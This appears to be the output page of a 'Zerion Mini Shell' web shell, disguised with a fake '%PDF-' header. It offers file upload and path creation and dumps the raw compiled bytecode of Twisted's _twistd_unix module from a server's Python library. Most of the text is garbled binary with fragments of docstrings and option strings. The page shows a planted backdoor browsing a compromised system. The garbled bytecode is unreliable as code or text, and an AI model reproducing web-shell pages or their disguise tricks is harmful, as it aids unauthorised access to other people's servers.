%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/scripts/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/scripts/__pycache__/_twistd_unix.cpython-312.pyc

�

Ϫ�f�>��:�ddlZddlZddlZddlZddlZddlmZmZddlm	Z	m
Z
ddlmZddl
mZmZmZddlmZddlmZmZmZmZedk(red	��d
�ZGd�de	j4�Zd
�ZGd�de	j8�Zd�ZGd�de	j>�Z y)�N)�	copyright�logger)�app�service)�IReactorDaemonize)�log�logfile�usage)�platformType)�
gidFromString�	switchUID�
uidFromString�untilConcludes�win32z%_twistd_unix doesn't work on Windows.c��t|d�S)N�)�int)�values �>/usr/lib/python3/dist-packages/twisted/scripts/_twistd_unix.py�_umaskrs���u�a�=��c
�L�eZdZdZgd�gd�gd�gd�gZgd�gd�gd�d	d
ddegd
dddegddddeggZe	je	jd�e	jd��e	jd��e	jd��e	jd��d���Zd�Zd�Zy)�
ServerOptionszUsage: twistd [options])�nodaemon�nz0don't daemonize, don't use default umask of 0077)�originalnameNz$Don't try to change the process name)�syslogNzLog to syslog, not to file)�euid�aSet only effective user-id rather than real user-id. (This option has no effect unless the server is running as root, in which case it means not to shed all privileges after binding ports, retaining the option to regain privileges in cases such as spawning processes. Use with caution.))�prefixN�twistedz$use the given prefix when syslogging)�pidfilerz
twistd.pidzName of the pidfile)�chrootNNz-Chroot to a supplied directory before running�uid�uNzThe uid to run as.�gid�gzbThe gid to run as.  If not specified, the default gid associated with the specified --uid is used.�umaskz(The (octal) file creation mask to apply.z*.pidzchroot directory)�descrz
gid to run asz
uid to run asz
syslog prefix)r"r#r&r$r )�
optActionsc���tdtj��|j��ttj|j��t	j
�y)z5
        Print version information and exit.
        ztwistd (the Twisted daemon) )�fileN)�printr�version�stdout�sys�exit��selfs r�opt_versionzServerOptions.opt_versionHs>��	�,�Y�->�->�,?�@�t�{�{�S�
�i�!�!����4����
rc��tjj|�|dr&tjj|d�|d<yy)Nr")rr�postOptions�os�path�abspathr2s rr6zServerOptions.postOptionsPs<�����%�%�d�+��	�?� �g�g�o�o�d�9�o�>�D��O�r)�__name__�
__module__�__qualname__�synopsis�optFlagsrrr�
optParametersr
�Completions�
CompleteFiles�CompleteDirs�CompleteGroups�CompleteUsernames�	Completer�compDatar4r6�rrrrs���(�H�	N�F�6�		
�	�H�"	L�<�O�	��T�/��?����
;��
	
�
�$��H�&�Q��M� !�u� � �*�u�*�*�7�3�(�e�(�(�/A�B�'�5�'�'�o�>�*�5�*�*��A�%�e�o�o�O�<�
��H��?rrc��|sytjj|�rj	t|�5}t	|j��}ddd�	tjd�tjdj|��yy#1swY�FxYw#t$rtjd|�d��Y�mwxYw#t$r�}|jtjk(r0tjd|��d��tj |�n+tjdj||��Yd}~yYd}~yd}~wwxYw)	NzPidfile z contains non-numeric valueraAnother twistd server is running, PID {}

This could either be a previously started instance of your application or a
different application entirely. To start a new one, either run it in some other
directory, or use the --pidfile and --logfile parameters to avoid clashes.
zRemoving stale pidfile T)�isErrorz0Can't check status of PID {} from pidfile {}: {})r7r8�exists�openr�read�
ValueErrorr0r1�kill�format�OSError�errno�ESRCHr�msg�remove)r"�f�pid�whys    r�checkPIDrXVs����	�w�w�~�~�g��	F��g��
$�!��!�&�&�(�m��
$�	��G�G�C��O�
�H�H��
�F���
	
�)�
$�
$���	F��H�H�x��y�(C�D�E�	F���
	��y�y�E�K�K�'����1�'��;�T�J��	�	�'�"����F�M�M��W�c����#��	
	�sA�B�B�	B�C�B�B�"B?�>B?�	E
�A3E�E
c��eZdZdZd�Zd�Zy)�
UnixAppLoggera�
    A logger able to log to syslog, to files, and to stdout.

    @ivar _syslog: A flag indicating whether to use syslog instead of file
        logging.
    @type _syslog: C{bool}

    @ivar _syslogPrefix: If C{sysLog} is C{True}, the string prefix to use for
        syslog messages.
    @type _syslogPrefix: C{str}

    @ivar _nodaemon: A flag indicating the process will not be daemonizing.
    @type _nodaemon: C{bool}
    c���tjj||�|jdd�|_|jdd�|_|jdd�|_y)NrFr rr)r�	AppLogger�__init__�get�_syslog�
_syslogPrefix�	_nodaemon)r3�optionss  rr]zUnixAppLogger.__init__�sM���
�
���t�W�-��{�{�8�U�3���$�[�[��2�6��� ���Z��7��rc���|jr+ddlm}|j|j�j
S|jdk(r2|jstjd�tj�n�|jr|jstj�n~|jsd|_tjj|j��	ddl}|j|j �s"�fd�}|j|j |�	t%j&��S#t"$rY� wxYw)a�
        Create and return a suitable log observer for the given configuration.

        The observer will go to syslog using the prefix C{_syslogPrefix} if
        C{_syslog} is true.  Otherwise, it will go to the file named
        C{_logfilename} or, if C{_nodaemon} is true and C{_logfilename} is
        C{"-"}, to stdout.

        @return: An object suitable to be passed to C{log.addObserver}.
        r)r�-z&Daemons cannot log to stdout, exiting!z
twistd.logNc�H��ddlm}|j�j�y)Nr��reactor)�twisted.internetrg�callFromThread�rotate)�signal�framerg�logFiles   �r�	rotateLogz0UnixAppLogger._getLogObserver.<locals>.rotateLog�s���<��.�.�w�~�~�>r)r_�twisted.pythonr�SyslogObserverr`�emit�_logfilenamerar0r1r/r	�LogFile�fromFullPathrk�	getsignal�SIGUSR1�ImportErrorr�textFileLogObserver)r3rrkrnrms    @r�_getLogObserverzUnixAppLogger._getLogObserver�s�����<�<�-��(�(��);�);�<�A�A�A�����#��>�>����A�B��j�j�G�
�^�^�D�$5�$5��j�j�G��$�$�$0��!��o�o�2�2�4�3D�3D�E�G�

=��
�'�'����7�?�
�M�M�&�.�.�)�<��)�)�'�2�2���
��
�s� D6�6	E�EN)r:r;r<�__doc__r]ryrGrrrZrZys��
�8�(3rrZc�>�|r�|tjdk7r�tjj	tj
�}t
jd|z�tj||tjddgtjddz�yyy)NrzChanging process name to z--originalname�)	r0�argvr7r8�realpath�
executablerrS�execv)�name�exes  r�launchWithNamer��sr���������#��g�g���s�~�~�.�����+�d�2�3�
����t�S�X�X�a�[�*:�;�c�h�h�q�r�l�J�K�$�trc�T�eZdZdZeZd�Zd�Zd�Zd�Z	d�Z
d�Zded	efd
�Z
d�Zd�Zy
)�UnixApplicationRunnerzx
    An ApplicationRunner which does Unix-specific things, like fork,
    shed privileges, and maintain a PID file.
    c���t|jd�|jdxs|jd|jd<tj|_tj
|_y)z4
        Do pre-application-creation setup.
        r"r�debugN)rX�configr0r/�	oldstdout�stderr�	oldstderrr2s r�preApplicationz$UnixApplicationRunner.preApplication�sP��	����Y�'�(�"&�+�+�j�"9�"Q�T�[�[��=Q����J�����������rc��tj|j|�d}d|j���}|j	dd�}|ddS)aC
        Format the C{exception} in preparation for writing to the
        status pipe.  This does the right thing on Python 2 if the
        exception's message is Unicode, and in all cases limits the
        length of the message afte* encoding to 100 bytes.

        This means the returned message may be truncated in the middle
        of a unicode escape.

        @type exception: L{Exception}
        @param exception: The exception to format.

        @return: The formatted message, suitable for writing to the
            status pipe.
        @rtype: L{bytes}
        ���z1 �ascii�backslashreplaceN�d)�	traceback�format_exception_only�	__class__�strip�encode)r3�	exception�
exceptionLine�formattedMessages    r�_formatChildExceptionz+UnixApplicationRunner._formatChildException�sb��&"�7�7�	�8K�8K�Y�W��
�
� �
� 3� 3� 5�6�7��,�2�2�7�<N�O�� ���%�%rc��	|j|j�|jjdd�}|�6t	t
j|d�t	t
j|�	|jd|j|j�|j|jd�y#t$r�}|jjdd�}|�F|j|�}t	t
j||�t	t
j|�|j|jd��d}~wwxYw)z�
        To be called after the application is created: start the application
        and run the reactor. After the reactor stops, clean up PID files and
        such.
        �
statusPipeN�0r")�startApplication�applicationr�r^rr7�write�close�	Exceptionr��	removePID�startReactorr�r�)r3r��ex�messages    r�postApplicationz%UnixApplicationRunner.postApplication�s���	5��!�!�$�"2�"2�3�������t�<�J��%��r�x�x��T�:��r�x�x��4����$�������?����t�{�{�9�-�.���	�������t�<�J��%��4�4�R�8���r�x�x��W�=��r�x�x��4��N�N�4�;�;�y�1�2���	�s�B7�7	E�BE�Ec�x�|sy	tj|�y#t$ru}|jtjk(s|jtj
k(rt
jd�nt
j|d�Yd}~yYd}~yd}~wt$rt
jdd�YywxYw)z�
        Remove the specified PID file, if possible.  Errors are logged, not
        raised.

        @type pidfile: C{str}
        @param pidfile: The path to the PID tracking file.
        Nz)Warning: No permission to delete pid filezFailed to unlink PID file:)
r7�unlinkrPrQ�EACCES�EPERMrrS�err�
BaseException)r3r"�es   rr�zUnixApplicationRunner.removePIDs�����	8��I�I�g����	9��w�w�%�,�,�&�!�'�'�U�[�[�*@����C�D�����7�8�8�E���	8��G�G�D�6�7�	8�s��	B9�A&B�"B9�8B9c��|}|�tj|�|dk(rd}tj|�|r|�d}|�tj|�|r$ddlm}|j
|�|jd<|r=t|d�5}|jd	tj�fz�ddd�yy#1swYyxYw)
a�
        Set the filesystem root, the working directory, and daemonize.

        @type chroot: C{str} or L{None}
        @param chroot: If not None, a path to use as the filesystem root (using
            L{os.chroot}).

        @type rundir: C{str}
        @param rundir: The path to set as the working directory.

        @type nodaemon: C{bool}
        @param nodaemon: A flag which, if set, indicates that daemonization
            should not be done.

        @type umask: C{int} or L{None}
        @param umask: The value to which to change the process umask.

        @type pidfile: C{str} or L{None}
        @param pidfile: If not L{None}, the path to a file into which to put
            the PID of this process.
        N�.�/�?rrfr��wbs%d)r7r#�chdirr(rhrg�	daemonizer�rKr��getpid)	r3r#�rundirrr(r"�daemonrgrUs	         r�setupEnvironmentz&UnixApplicationRunner.setupEnvironment#s���,������I�I�f����}���
������e�m��E����H�H�U�O��0�(,���w�(?�D�K�K��%���g�t�$�
0�����������.�/�
0�
0��
0�
0�s�(B:�:Cc��tj|�r|j�tj�\}}tj
�r;|j
|�}tj|�tj|�tj�tj
�rtjd�tjdtj�}td�D]}	tj||��tj|�tj|�r|j#�|S#t$r(}|jtj k7r�Yd}~��d}~wwxYw)a7
        Daemonizes the application on Unix. This is done by the usual double
        forking approach.

        @see: U{http://code.activestate.com/recipes/278731/}
        @see: W. Richard Stevens,
            "Advanced Programming in the Unix Environment",
            1992, Addison-Wesley, ISBN 0-201-56317-7

        @param reactor: The reactor in use.  If it provides
            L{IReactorDaemonize}, its daemonization-related callbacks will be
            invoked.

        @return: A writable pipe to be used to report errors.
        @rtype: C{int}
        rz	/dev/null�N)r�
providedBy�beforeDaemonizer7�pipe�fork�
_waitForStartr��_exit�setsidrK�O_RDWR�range�dup2rPrQ�EBADF�afterDaemonize)r3rg�r�w�code�null�ir�s        rr�zUnixApplicationRunner.daemonizeLs	��(�'�'��0��#�#�%��w�w�y���1�
�7�7�9��%�%�a�(�D��H�H�Q�K��H�H�T�N�
�	�	��
�7�7�9��H�H�Q�K��w�w�{�B�I�I�.���q��	�A�
�����a� �	�	������'�'��0��"�"�$�����
��7�7�e�k�k�)��*��
�s�<E�	F�E<�<F�readPipe�returnc���ttj|d�}t|dd�}|dk7r6dj	|�}tt
jj|�yy)a
        Wait for the daemonization success.

        @param readPipe: file descriptor to read start information from.
        @type readPipe: C{int}

        @return: code to be passed to C{os._exit}: 0 for success, 1 for error.
        @rtype: C{int}
        r��Nr�zHAn error has occurred: {}
Please look at log file for more information.
r|r)rr7rL�reprrOr0�
__stderr__r�)r3r��data�dataReprrSs     rr�z#UnixApplicationRunner._waitForStartxs\���b�g�g�x��5����Q�R��>���4�<�/�/5�v�h�/?�
�
�3�>�>�/�/��5��rc�(�|�|�>|xrdxsd}|�d|�d|�d|��}	t|||�tjd|���yy#t$rD}tjdj	||��tjd	�Yd}~yd}~wwxYw)
a�
        Change the UID and GID or the EUID and EGID of this process.

        @type euid: C{bool}
        @param euid: A flag which, if set, indicates that only the I{effective}
            UID and GID should be set.

        @type uid: C{int} or L{None}
        @param uid: If not L{None}, the UID to which to switch.

        @type gid: C{int} or L{None}
        @param gid: If not L{None}, the GID to which to switch.
        Nr�rzuid/zgid r�zset z0failed to set {}: {} (are you root?) -- exiting.r|)r
rrSrPrOr0r1)r3rr$r&�extra�descr�s       r�shedPrivilegesz$UnixApplicationRunner.shedPrivileges�s����?�c�o��L�S�&�B�E��W�D���t�C�5��#��7�D�	
'��#�s�D�)����$�t�f�
�&�.��
�
�����%�v�d�A����������
�s�
A�	B�
:B�Bc��tj|�}|jdst|j�|j|jd|jd|jd|jd|jd�tj|�j�|jd|jd}}|�|j}|�|j}|�!|�tj|�j}|j|jd
||�tj||jd�y	)z�
        Configure global process state based on the given application and run
        the application.

        @param application: An object which can be adapted to
            L{service.IProcess} and L{service.IService}.
        rr#r�rr(r"r$r&Nr�no_save)r�IProcessr�r��processNamer��IService�privilegedStartServicer$r&�pwd�getpwuid�pw_gidr�rr�)r3r��processr$r&s     rr�z&UnixApplicationRunner.startApplication�s���"�"�;�/���{�{�>�*��7�.�.�/�����K�K��!��K�K��!��K�K�
�#��K�K�� ��K�K�	�"�	
�	����%�<�<�>��;�;�u�%�t�{�{�5�'9�S���;��+�+�C��;��+�+�C��?�s�{��,�,�s�#�*�*�C����D�K�K��/��c�:����[�d�k�k�)�.D�*D�ErN)r:r;r<rzrZ�
loggerFactoryr�r�r�r�r�r�rr�r�r�rGrrr�r��sM���
"�M�$�#&�J/�08�('0�R*�X�c��c��*'�8Frr�)!rQr7r�r0r�r!rr�twisted.applicationrr�twisted.internet.interfacesrrorr	r
�twisted.python.runtimer�twisted.python.utilrr
rrrwrrrXr\rZr��ApplicationRunnerr�rGrr�<module>r�s���
�	�
�
��%�,�9�.�.�/�W�W��7��
�=�
>�>��8?�C�%�%�8?�v �F>3�C�M�M�>3�BL�FF�C�1�1�FFr

Zerion Mini Shell 1.0